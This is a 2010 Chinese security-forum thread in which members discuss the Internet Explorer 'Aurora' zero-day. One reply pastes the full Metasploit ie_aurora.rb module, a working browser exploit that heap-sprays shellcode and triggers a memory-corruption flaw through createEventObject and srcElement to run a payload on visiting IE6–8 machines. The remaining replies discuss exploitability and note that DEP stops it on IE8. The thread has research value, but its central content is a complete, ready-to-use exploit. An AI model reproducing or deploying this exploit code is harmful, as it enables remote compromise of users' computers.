首页
社区
课程
招聘
[讨论]做个调查,有分析IE最新极光0day漏洞的吗?
发表于: 2010-1-19 00:58 8791

[讨论]做个调查,有分析IE最新极光0day漏洞的吗?

2010-1-19 00:58
8791
据说相当厉害,Google就是因为这个漏洞被攻击的
做个调查,看大家谁分析了这个漏洞
共享下
如果没有分析的话,大家可以一起分析下这个漏洞
然后在看雪上共享
当然是技术上的,咱 不讨论如何挂马等等,只讨论技术及漏洞成因

[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (18)
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
研究了下,不知道具体怎么分析,正学习中!
2010-1-19 08:56
0
雪    币: 107
活跃值: (763)
能力值: ( LV12,RANK:220 )
在线值:
发帖
回帖
粉丝
3
##看到HDM的这个可以确定了 ,世界又要开始新的一轮疯狂了
# $Id: ie_aurora.rb 8136 2010-01-15 21:36:04Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#a36K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2W2N6r3q4K6M7r3I4G2K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6X3M7X3q4E0k6i4N6G2M7X3E0Q4x3V1j5`.
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::Remote::BrowserAutopwn
        autopwn_info({
                :ua_name    => HttpClients::IE,
                :ua_minver  => "6.0",
                :ua_maxver  => "8.0",
                :javascript => true,
                :os_name    => OperatingSystems::WINDOWS,
                :vuln_test  => nil, # no way to test without just trying it
        })


        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
                        'Description'    => %q{
                                This module exploits a memory corruption flaw in Internet Explorer. This
                        flaw was found in the wild.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         =>
                                [
                                        'unknown',
                                        'hdm'      # Metasploit port
                                ],
                        'Version'        => '$Revision: 8136 $',
                        'References'     =>
                                [
                                        ['URL', 'c91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2A6j5%4u0G2M7$3!0X3N6q4)9J5k6h3y4G2L8g2)9J5c8Y4c8W2j5$3S2F1k6i4c8Q4x3V1k6K6k6h3y4#2M7X3W2@1P5g2)9J5c8X3q4V1N6X3W2K6L8%4u0&6i4K6u0r3z5e0M7&6x3K6f1J5i4K6u0W2L8i4y4H3P5q4)9J5y4#2)9#2c8q4)9J5b7H3`.`.
                                        ['URL', '5ecK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6W2M7r3q4%4k6i4c8Q4x3X3g2A6M7$3g2U0L8r3q4T1i4K6u0W2L8%4u0Y4i4K6u0r3N6X3W2W2N6#2)9J5k6i4m8Z5M7q4)9K6c8X3S2S2M7$3S2Q4x3@1b7I4j5h3g2S2x3U0l9$3j5h3p5$3y4r3g2T1k6h3q4T1j5U0l9%4x3U0x3%4k6U0q4W2x3U0t1K6x3r3b7H3k6W2)9J5y4Y4c8&6M7r3g2Q4x3@1c8B7M7#2)9J5y4#2)9#2c8l9`.`.

                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1000,
                                        'BadChars' => "\x00",
                                        'Compat'   =>
                                                {
                                                        'ConnectionType' => '-find',
                                                },
                                        'StackAdjustment' => -3500,
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Automatic', { }],
                                ],
                        'DisclosureDate' => 'Jan 14 2009', # wepawet sample
                        'DefaultTarget'  => 0))
        end

        def on_request_uri(cli, request)

                if (request.uri.match(/\.gif/i))
                        data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
                        send_response(cli, data, { 'Content-Type' => 'image/gif' })
                        return
                end

                var_memory    = rand_text_alpha(rand(100) + 1)
                var_boom      = rand_text_alpha(rand(100) + 1)
                var_x1        = rand_text_alpha(rand(100) + 1)
                var_e1        = rand_text_alpha(rand(100) + 1)
                var_e2        = rand_text_alpha(rand(100) + 1)

                var_comment   = rand_text_alpha(rand(100) + 1);
                var_abc       = rand_text_alpha(3);

                var_ev1       = rand_text_alpha(rand(100) + 1)
                var_ev2       = rand_text_alpha(rand(100) + 1)
                var_sp1       = rand_text_alpha(rand(100) + 1)

                var_unescape  = rand_text_alpha(rand(100) + 1)
                var_shellcode = rand_text_alpha(rand(100) + 1)
                var_spray     = rand_text_alpha(rand(100) + 1)
                var_start     = rand_text_alpha(rand(100) + 1)
                var_i         = rand_text_alpha(rand(100) + 1)

                rand_html     = rand_text_english(rand(400) + 500)

                html = %Q|<html>
<head>
<script>

        var #{var_comment} = "COMMENT";

        var #{var_x1} = new Array();
        for (i = 0; i < 200; i ++ ){
           #{var_x1} = document.createElement(#{var_comment});
           #{var_x1}.data = "#{var_abc}";
        };

        var #{var_e1} = null;

        var #{var_memory} = new Array();
        var #{var_unescape} = unescape;

        function #{var_boom}() {

                var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

                var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );

                do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );

                for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
        }

        function #{var_ev1}(evt){
                #{var_boom}();
            #{var_e1} = document.createEventObject(evt);
            document.getElementById("#{var_sp1}").innerHTML = "";
            window.setInterval(#{var_ev2}, 50);
        }

        function #{var_ev2}(){
          p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
          for (i = 0; i < #{var_x1}.length; i ++ ){
              #{var_x1}.data = p;
          }

          var t = #{var_e1}.srcElement;
        }
</script>
</head>
<body>

<span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>

</body>
</html>
                |

                # Transmit the compressed response to the client
                send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

                # Handle the payload
                handler(cli)
        end
end
2010-1-19 10:08
0
雪    币: 70
活跃值: (79)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
这个洞,IE6可以,但是IE8不行,看了一下,出错地址都一样,但是IE8不可控,但是IE6却可控(调用srcElement里面的一个对象虚函数时,这个虚函数被名字eventobj覆盖了,可控),跟IE8里面的堆分配机制好像有关
2010-1-19 11:13
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
5
据曝可以在IE8下使用,
不知道真的假的
  需要求证下
忙完了手上的工作就开始分析此漏洞
2010-1-19 11:32
0
雪    币: 70
活跃值: (79)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
看一篇报道说IE7/8不能利用,只是D.O.S,不知道真假,我目前还没研究出来怎么利用
2010-1-19 14:33
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
7
报的是IE系列和windows系列都可以,但是放出来的只有IE6可以!

给个链接:1cdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6L8r3q4T1M7#2)9J5k6i4N6W2j5Y4y4W2L8Y4y4W2i4K6u0W2j5$3!0E0i4K6u0r3j5$3!0F1N6r3g2F1N6q4)9J5c8V1u0D9L8$3N6K6i4K6u0r3x3K6f1K6x3q4)9J5k6h3q4K6M7s2R3`.
有个简单的分析!
2010-1-19 15:12
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
8
生成器都已经出来了。。
**人才辈出啊。。
哇哈哈
2010-1-19 16:25
0
雪    币: 107
活跃值: (2387)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
老外文章说了,IE8没挂是因为开启了DEP。
贝壳出的一个补丁实际上是开启IE DEP,可惜IE6好像没有DEP,所以对IE6无效。
2010-1-19 17:06
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
10
还好我用的是IE8
下个星期换回IE7试下
2010-1-20 09:59
0
雪    币: 58
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
好像目前就在IE6下可以
2010-1-20 10:48
0
雪    币: 52
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
顶上去留着学习
2010-1-22 02:39
0
雪    币: 72
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
IE8没挂是因为开启了DEP。顶上去留着学习
2010-1-22 06:50
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
标记一下慢慢看
2010-1-22 13:59
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
LS的代码是什么格式的?怎么这么乱?
2010-1-22 14:18
0
雪    币: 6898
活跃值: (5517)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
16
metasploit的插件,ruby代码。
2010-1-22 16:39
0
雪    币: 73
活跃值: (70)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
还没到这种分析漏洞的地步 不过 一定会跟随大师 学习大师 洞察大师 最后成为大师。
2010-1-22 17:17
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
18
Metasploit 里面的!
2010-1-22 18:54
0
雪    币: 1040
活跃值: (1853)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
用ie7貌似照样运行了病毒 好象是有几率的
2010-1-24 23:29
0
游客
登录 | 注册 方可回帖
返回